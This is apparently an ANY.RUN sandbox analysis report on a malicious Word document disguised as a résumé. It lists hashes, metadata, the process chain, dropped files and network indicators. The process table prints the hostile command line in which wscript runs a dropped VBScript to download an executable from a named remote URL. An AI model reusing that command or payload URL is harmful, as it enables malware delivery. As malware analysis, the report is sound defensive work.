File name: | John Smith Resume.doc |
Full analysis: | https://app.any.run/tasks/e2ffb564-392f-4382-96e7-8221972a744a |
Verdict: | Malicious activity |
Analysis date: | December 06, 2019, 19:34:14 |
OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
Indicators: | |
MIME: | application/msword |
File info: | Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, Code page: 1252, Locale ID: 1033, Author: rjman, Subject: rtsgsjhf |
MD5: | EE5D9F5CDC4E25FA5F4CA342F5123FCE |
SHA1: | E265E538743BEC27DA37583252A1956D6BE4CFB2 |
SHA256: | FB9BA21CE41D57C916A1805B5DC88E7E5C695101084A9EEC0427B7285CB8D53A |
SSDEEP: | 1536:C13kbv5dlOjrJg0Dwj9ESVBWa8LrbYaJd+wA8mlOoni89V9jGY7w:vz5ujrJg0A9RWa0XYahyDnJV9jGY7 |
CodePage: | Windows Latin 1 (Western European) |
---|---|
LocaleIndicator: | 1033 |
Author: | rjman |
Subject: | rtsgsjhf |
PID | CMD | Path | Indicators | Parent process |
---|---|---|---|---|
2132 | "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\Desktop\John Smith Resume.doc" | C:\Program Files\Microsoft Office\Office14\WINWORD.EXE | — | explorer.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Word Version: 14.0.6024.1000 | ||||
2416 | cmd /c C:\cfgPath3\RandomData.cmd | C:\Windows\system32\cmd.exe | — | WINWORD.EXE |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) | ||||
3196 | wscript //nologo c:\cfgPath3\Parents.vbs https://yasmotel.com/wp-content/uploads/2019/12/c49.exe c:\cfgPath3\BrainGos.exe | C:\Windows\system32\wscript.exe | cmd.exe | |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft ® Windows Based Script Host Exit code: 1 Version: 5.8.7600.16385 |
PID | Process | Filename | Type | |
---|---|---|---|---|
2132 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\CVRA850.tmp.cvr | — | |
MD5:— | SHA256:— | |||
2132 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\~DFF742298F7B119965.TMP | — | |
MD5:— | SHA256:— | |||
2132 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\~DF9F684D2C6EEE8B94.TMP | — | |
MD5:— | SHA256:— | |||
2132 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\~DF1317647304AAA0A8.TMP | — | |
MD5:— | SHA256:— | |||
2132 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\~DF73DEF52EDFCACCBC.TMP | — | |
MD5:— | SHA256:— | |||
2132 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\~DFA0F1FB2315855B41.TMP | — | |
MD5:— | SHA256:— | |||
2132 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\~DFE4A00AB5046275FB.TMP | — | |
MD5:— | SHA256:— | |||
2132 | WINWORD.EXE | C:\cfgPath3\RandomData.cmd | text | |
MD5:966FF7A6B4B53326940B20D63B1FA3BD | SHA256:5A7DBF127ECC2CD713F8D29938BF54B891FC93562E81FB536BC4DEEE81702DB0 | |||
2132 | WINWORD.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Office\Recent\John Smith Resume.doc.LNK | lnk | |
MD5:C3F52B7C6DDA0AE76BFD1ADAC54B1F25 | SHA256:1547F03D3FF81C473F33AB2DDA5471689357A8C1464BE230D38F76381B0D2619 | |||
2416 | cmd.exe | C:\cfgPath3\Parents.vbs | text | |
MD5:7269F604BEF7B2B29EC6DB63988A8B27 | SHA256:EA49312E392AA0F632C6689A7C127859FD6488A52886A664E2D874B3597F5A1A |
PID | Process | IP | Domain | ASN | CN | Reputation |
---|---|---|---|---|---|---|
3196 | wscript.exe | 163.172.203.87:443 | yasmotel.com | Online S.a.s. | FR | suspicious |
Domain | IP | Reputation |
---|---|---|
yasmotel.com |
| suspicious |
PID | Process | Class | Message |
---|---|---|---|
3196 | wscript.exe | Generic Protocol Command Decode | SURICATA TLS invalid record type |
3196 | wscript.exe | Generic Protocol Command Decode | SURICATA TLS invalid record type |
3196 | wscript.exe | Generic Protocol Command Decode | SURICATA TLS invalid record type |